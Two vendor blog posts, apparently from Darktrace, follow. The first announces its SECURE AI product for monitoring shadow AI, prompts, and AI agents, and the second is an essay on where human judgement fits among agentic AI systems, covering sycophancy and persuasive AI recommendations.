Over 80% of Darktrace’s customers now use generative AI services, and the average organization interacted with five different AI provides in August 20261. That level of adoption reflects how quickly AI has become embedded in day-to-day business operations. But as adoption accelerates, so do the opportunities for new forms of exposure that often operate outside traditional security controls. Prompts can expose sensitive information, an over-permissioned agent can turn a routine task into a serious security concern, and an employee using an unsanctioned AI tool to get work done can quietly introduce risk long before the security team is aware of its existence.

Securing AI isn’t a nice-to-have. It's an urgent, board-level requirement for any business that wants AI adoption to be an advantage rather than a liability.

Why traditional security controls fall short

The challenge isn’t a lack of AI security tools, it’s that most security solutions weren’t built for the way AI behaves.  

AI systems are adaptive and, by nature, unpredictable. A prompt can be entirely benign in one context and a serious risk in another. An agent's permissions can look reasonable in isolation and dangerous the moment they're combined with what that agent is actually doing. Rule-based controls, built to catch known signatures and static policy violations, simply aren't designed to catch this kind of subtlety. They might be able to tell you what happened, but they can’t tell you if it mattered.  

Effective AI security requires something different: a deep understanding of what normal looks like across every human, system, and agent in an environment, so the earliest signs of drift, misuse, or compromise stand out as they emerge.

Behavioral understanding is our foundation

Darktrace isn’t reinventing itself to secure AI. We’re extending what we already do. For over a decade, Darktrace has been built on a single premise – that every organization has its own unique, evolving way of operating, shaped by how its systems, users, and devices behave. Understanding that is the only reliable way to catch what rules and signatures miss. Our Adaptive AI™ continuously learns the distinct behaviors, relationships, and operational patterns of every enterprise it protects, building a Unique Behavioral Profile that no other vendor can replicate. It's how we've spent years interpreting ambiguity, uncovering subtle intent, and spotting drift before it becomes dangerous across networks, cloud, identities, email, OT, and endpoints. AI is a new domain, but behavioral security isn't a new discipline for us.

Introducing Darktrace / SECURE AI

Darktrace / SECURE AI helps organizations embrace AI innovation without losing control of how it is used. Delivered through the Darktrace Behavioral Defense Platform™, it provides visibility into AI activity across employees, agents, and AI systems, helping security teams understand how AI is being used throughout their business.

Darktrace then applies behavioral understanding to that activity, adding the context needed to distinguish routine usage from genuine risk. By understanding the relationships between users, agents, systems, and data, / SECURE AI helps organizations move beyond simply observing AI usage to understanding risk, governing behavior against policy, and enabling AI adoption with confidence. The result is greater oversight, stronger governance, and the ability to confidently accelerate AI innovation without creating unmanaged risk.

Securing your AI ecosystem

AI risk doesn't originate from a single source, and effective AI security can't focus on just one layer of the problem. Organizations need visibility, understanding, and governance across the entire AI ecosystem, from the prompts users submit and the agents they create, to the development environments where AI is built and the unsanctioned tools operating outside approved channels. Here's how Darktrace / SECURE AI helps organizations secure each of these areas.

Shadow AI management

Darktrace / SECURE AI helps security teams discover unsanctioned AI services and track usage trends over time using Darktrace telemetry and supported SASE integrations such as Microsoft Entra Global Secure Access. It also extends visibility to Model Context Protocol (MCP) usage, helping teams understand where AI tools and agents are connecting to external services. Through Darktrace platform integrations, organizations can block unsanctioned AI usage or quarantine affected devices when needed, helping them reduce exposure and guide users toward approved options.

AI prompt analysis

Prompts reveal what users are asking AI to do, what information they are sharing, and the outcomes they are trying to produce. Darktrace / SECURE AI provides visibility into prompts, sessions, and responses across supported platforms, including Microsoft Copilot, Copilot Studio, ChatGPT Enterprise, Claude, Salesforce, and AWS Bedrock2. Behavioral analysis detects activity such as attempted jailbreaks, sensitive data exposure, and potential indirect prompt injection, while risk scoring helps analysts prioritize the sessions that need attention. Policy Manager maps organizational AI policies against prompt activity and surfaces potential violations, helping teams govern AI use with direct evidence instead of relying on fragmented logs or inferred intent.

AI agent identities and actions

AI agents have their own permissions, roles, relationships, and access to systems and data. Darktrace / SECURE AI brings agent identities together with the users interacting with them, giving security teams visibility into access, sessions, and connections across supported environments. A real-time audit trail helps teams continuously evaluate whether an agent’s activity remains aligned with its intended purpose, so they can identify excessive access or behavioral drift before it becomes a security issue.

AI agent development risk management

Many AI risks are introduced during development, when agents are created, permissions are assigned, and connections to data sources are established. Darktrace / SECURE AI provides visibility across both low-code and high-code environments. In platforms such as AWS Bedrock, teams can examine AI architecture and the agent identities involved in development and deployment. In low-code environments, such as Copilot Studio, they can observe agents as they are created, monitor whether behavior stays aligned with their intended purpose, and connect prompt activity during development with behavior in production. This helps organizations address misconfigurations and excessive permissions before they reach production.

The promise of AI, secured

The question isn't whether to adopt AI, it's whether security teams can enable secure adoption that allows every business to benefit from AI’s potential.

Darktrace / SECURE AI is built to solve this problem – extending a decade of behavioral understanding to the newest, fastest-moving part of the enterprise, using the same principles which already protect people and hybrid infrastructure.

‍

Darktrace / SECURE AI is generally available now. Discover the product, or get a demo today.

‍

[related-resource]

‍

[1] Based on aggregated Darktrace product telemetry across a fleet of ~8,200 observed deployments, measuring generative AI service usage across accounts monitored in August 2026. The 80%+ figure reflects the share of monitored accounts with any generative AI service usage during the same period.

[2] Microsoft, Copilot, ChatGPT, Claude, Salesforce, and Amazon Bedrock are trademarks of their respective owners.

Continue reading
About the author
Brittany Woodsmall
Senior Product Marketing Manager, AI

Blog

/

/

September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

Default blog imageDefault blog image

Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

‍

Discover Darktrace / SECURE AI.

[related-resource]

Continue reading
About the author
Jason Lusted
AI Governance Advisor
Your data. Our AI.
Elevate your network security with Darktrace AI